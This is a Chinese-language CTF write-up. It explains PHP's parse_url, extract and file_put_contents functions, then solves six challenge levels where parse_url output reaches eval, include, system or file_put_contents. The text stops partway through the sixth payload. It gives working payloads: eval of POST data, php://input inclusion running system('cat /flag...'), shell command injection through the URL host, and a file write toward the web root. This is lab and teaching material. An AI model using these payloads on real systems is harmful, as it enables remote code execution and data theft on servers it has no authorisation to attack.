本周周末大挑战用到的函数讲解
parse_url()
作用:解析URL,返回其组成部分
语法:
parse_url ( string $url [, int $component = -1 ] )
参数:
url:要解析的 URL。无效字符将使用 _ 来替换。
component:
指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。
例如:
$url = 'http://user:pass@host/path?args=value#anch';print_r(parse_url($url));echo parse_url($url, PHP_URL_PATH);?>结果--------------------------------------------------------------------Array( [scheme] => http [host] => host [user] => user [pass] => pass [path] => /path [query] => args=value [fragment] => anch)/path
extract()
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
语法:extract(array,extract_rules,prefix)
例如:
$a = "Original";$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");extract($my_array);echo "\$a = $a; \$b = $b; \$c = $c";?>结果-------------------------------------------------------------------$a = Cat; $b = Dog; $c = Horse
file_put_contents()
file_put_contents() 函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
语法:file_put_contents(file,data,mode,context)
参数:
file:必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data:可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode:可选。规定如何打开/写入文件。可能的值:
FILE_USE_INCLUDE_PATH
FILE_APPEND
LOCK_EX
context:可选。规定文件句柄的环境。context是一套可以修改流的行为的选项。若使用null,则忽略。
题目讲解及write up
第一关
题目源代码:
$data = parse_url($_GET['u']);eval($data['host']);
首先,我们分许源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后将data数组中的host的值将他转化为php代码(eval()的作用,可以将字符串转换为php代码)。
OK我们的思路就是在url中host部分写成我们可以进行代码执行的恶意代码。
我们先写一个phpinfo();测试一下。
?u=http://phpinfo();
成功输出phpinfo。
接下来我们就开始进行代码执行。
我们会发现,我们直接使用system(‘ls /’);来查看根目录是不可行的,因为url中包含的有“/”这个斜杠符号,我们前面已经写过host内容,我们在写出“/”,那么斜杠后的“');”这些东西就会被认为是url 中 path 里的东西了,所以我们得换种思路。
新思路是:我们在源代码的基础上,再使用一次eval()函数进行代码执行,只不过这次我们将传参方式改为POST传参,因为parse_url函数只对GET传参起作用。
GET传参?u=http://eval($_POST[w]);POST传参w=system('ls /');
找到flag直接cat读取。
GET传参?u=http://eval($_POST[w]);POST传参w=system('cat /flag_is_here.txt');
成功拿到flag。
第二关
题目源代码:
$data = parse_url($_GET['u']);include $data['host'].$data['path'];
首先还是分析源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,使用include函数将data数组中host的值与path的值拼接的结果进行文件包含。
首先我们要明白一点,文件包含,我们就得使用伪协议进行命令执行或者代码执行来找到flag文件在哪,然后才能读取。但是如果我们按照正常的url格式进行传参的话,就比如u=http://host/flag,那么我们的path是一定会带有“/”这个符号的。所以我们就得使用非正常方法。
这里有一个小tips:就是当我们输入?u=http:php://这个字符串的时候,我们的path是“php://”这个字符串的,而且host是为空的。
所以我们就可以使用php://伪协议中的php://input来实现代码执行,进而执行命令。(由于我的hackbar的问题,我是在bp上进行的)
GET传参?u=http:php://inputPOST传参<?php phpinfo();?>
可以看到成功的输出了phpinfo的内容。
接下来就是看在根目录中找到flag文件进行读取。
GET传参?u=http:php://inputPOST传参<?php system('cat /_f1ag_1s_h3re.txt');?>
成功拿到flag。
第三关
题目源代码:
$data = parse_url($_GET['u']);include $data['scheme'].$data['path'];
首先还是分析源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,使用include函数将data数组中scheme(协议名称)的值与path的值拼接的结果进行文件包含
本道题目跟上道题目的思路是一样的,还是利用php://伪协议进行文件包含,只不过host变成了scheme(协议名称)。
这里还是一个小tips:就是当我们输入?u=http:://123这个字符串的时候,我们的path是“://123”这个字符串的,scheme是“http”,他们俩拼接在一起就是“http://123”。我们要使用php://input伪协议,只需将http改为php,将://123改为://input即可。
GET传参?u==php:://inputPOST传参<?php phpinfo();?>
也是成功的输出了phpinfo的信息。
接下来就是在根目录找到flag进行读取了。
GET传参?u==php:://inputPOST传参<?php system('cat /_f1a_g_1s_h3re');?>
成功拿到flag。
第四关
题目源代码:
$data = parse_url($_GET['u']);system($data['host']);
首先我们还是先来分析一波代码,GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后使用system()函数将data数组中host的值作为命令进行命令执行。
这里需要注意的是,我们不能直接使用“u=http://ls /”来作为payload,因为ls / 中的斜杠,会被parse_url函数当作path中的内容,这样我们还是在原来的目录中进行ls。
这时我们应该怎么办呢?
我们可以尝试先执行一个pwd,然后再重新执行cd …;pwd 试一下。
?u=http://pwd;cd ..;pwd
我们可以看到,我们使用cd切换目录之后,两次的pwd执行结果不同,代表我们切换目录成功,那么我们就可以使用cd …;cd …;cd …;一直切换到根目录,然后进行找寻flag进行读取了。
?u=http://cd ..;cd ..;cd ..;cat 1_f1ag_1s_h3re
成功拿到flag。
第五关
题目源代码:
extract(parse_url($_GET['u']));include $$$$$$host;
本题目是个套娃问题,就是使用extract函数将GET传参url中的组成,host变为$host,其值为url中host的值,path、scheme、query等部分也是一样。
这时我们就可以通过参数指向(比如,再将host的值写为scheme,那么$host=scheme,$$host=$scheme=scheme的值),来最终包含我们的php://input伪协议进行文件包含。
payload:
GET传参?u=user://pass:fragment@scheme/?php://input%23query注:%23是#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。POST传参<?php phpinfo();?>这样的话:$host=scheme$$host=$scheme=user$$$host=$user=pass$$$$host=$pass=fragment$$$$$host=$fragment=query$$$$$$host=$query=php://input
这样我们在进行post传参执行php代码,就可以使用php://input进行文件包含执行php代码了。
成功输出了phpinfo的信息,接下来就是在根目录中找flag文件进行读取。
payload:
GET传参?u=user://pass:fragment@scheme/?php://input%23query注:%23是#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。POST传参<?php system('cat /_f1ag_1s_h3ree');?>
成功拿到flag。
第六关
题目源代码:
$data = parse_url($_GET['u']);file_put_contents($data['path'], $data['host']);
首先还是分析源代码,GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后使用file_put_contents()函数来将data数组中host的值作为内容写进data数组中path的值为文件名的文件中。
这里经过测试发现,host中?与php不能和<>紧挨着出现,那么传统的php文件内容形式是采取不了了。
我们就是用html文件中的< script language=‘php’>标签来实现php的代码。这里记住,只需写一个< script>,不需要写< /scirpt>,因为/还会被parse_url函数当作path中的内容。
由于正常的url中,path自带 / ,我们将path写成/var/www/html/a.php,这样我们的host中的内容就会被写到网站根目录中a.php中。
payload:
?u=http://